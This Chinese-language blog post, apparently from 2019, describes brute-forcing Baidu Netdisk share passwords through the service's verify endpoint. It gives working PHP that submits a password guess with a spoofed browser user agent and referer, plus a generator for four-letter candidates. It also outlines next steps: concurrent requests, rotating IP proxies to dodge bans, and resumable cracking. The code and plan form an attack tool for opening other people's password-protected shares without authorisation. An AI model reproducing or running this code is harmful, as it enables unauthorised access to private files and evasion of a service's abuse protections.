前几天阅读了一篇文章 ,作者通过枚举重置密码的手机验证码来修改任意用户的账号密码。这种方式被普遍应用,但我们确实比较少的关心这可能存在漏洞,纯数字的验证码只要在失效前通过程序枚举很快就能被破解。受此启发,也想尝试下百度网盘的分享密码破解试验。
百度网盘的分享密码为4个字符,因此,我们可以通过调用认证接口来暴力破解。
通过 Chrome 的网络请求分析,结合 POSTMAN 模拟请求,我们得知,网盘密码认证主要参数有
分享链接识别码
毫秒时间戳
http 的 refer 头
post 方式发送的密码
于是,我们有了以下的一段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php function crackBaiduNetdiskPwd ($url ) { $shareCode = ltrim (strstr ($url , '/1' ),'/1' ); $baseUrl = 'https://pan.baidu.com/share/verify?' ; $get_params = [ 'surl' => $shareCode , 't' => intval (microtime (true ) * 1000 ), 'channel' => 'chunlei' , 'web' => 1 , 'clienttype' => 0 , 'app_id' => 123456 , 'bdstoken' => '' , 'logid' => 'MTU2Njc5MTgzODkyNzAuNjM3NzgzODMwMzQ1MjE3NQ==' ]; $requestUrl = $baseUrl .http_build_query ($get_params ); $pwd = '77wk' ; $post_params = [ 'pwd' => $pwd , 'vscode' => '' , 'vscode_str' => '' ]; $ch = curl_init ($requestUrl ); curl_setopt_array ( $ch , [ CURLOPT_POST => true , CURLOPT_POSTFIELDS => http_build_query ($post_params ), CURLOPT_RETURNTRANSFER => true , CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36' , CURLOPT_REFERER => 'https://pan.baidu.com/share/init?surl=' .$shareCode ] ); $response = curl_exec ($ch ); if (! json_decode ($response )->errno) { echo '破解成功,密码为:' .$pwd ; } curl_close ($ch ); } crackBaiduNetdiskPwd ('https://pan.baidu.com/s/1gftmNyb' );
至此,单次请求已经成功,但剩余的工作还有:
我们需要生成纯字母、字母数字、纯数字三种类型的密码,且这三类的权重依次降低,三类中的重复密码(如:aaaa
,6666
)权重最低
给定密码区间段和类型,如何生成指定长度的密码,如,怎样生成aaaa ~ zzzz
的密码?(现有思路:将字母转换为 ASCII 对应的数字,共 4 个位,将其转换为数组。如果第0位值达到z
,则向高位进位,低位归位处理)
php 实现并发请求
添加IP代理,避免单一IP请求被封禁
添加日志,支持断点续破
记录每次破解的耗时与次数,用于后期分析
—2019-09-19更新—
生成aaaa ~ zzzz
的密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function getAlphabet ( ) { for ($i = 'aaaa' ; $i < 'zzzz' ; $i ++) { yield $i ; if ('zzzy' === $i ) { return yield get4Z (); } } } function get4Z ( ) { return 'zzzz' ; } foreach (getAlphabet () as $letter ) { echo $letter ; }
生成字母数字的密码:
1 2 3 function getAlphanumeric ( ) { }
Tips
如果需要获取更高精度的时间戳,可以调整php.ini
中的precision
的值。
curl_setopt_array
中的 key 是预设常量,如果写作字符串(如'CURLOPT_POSTFIELDS'
),则会有curl_setopt_array(): Array keys must be CURLOPT constants or equivalent integer values in
的错误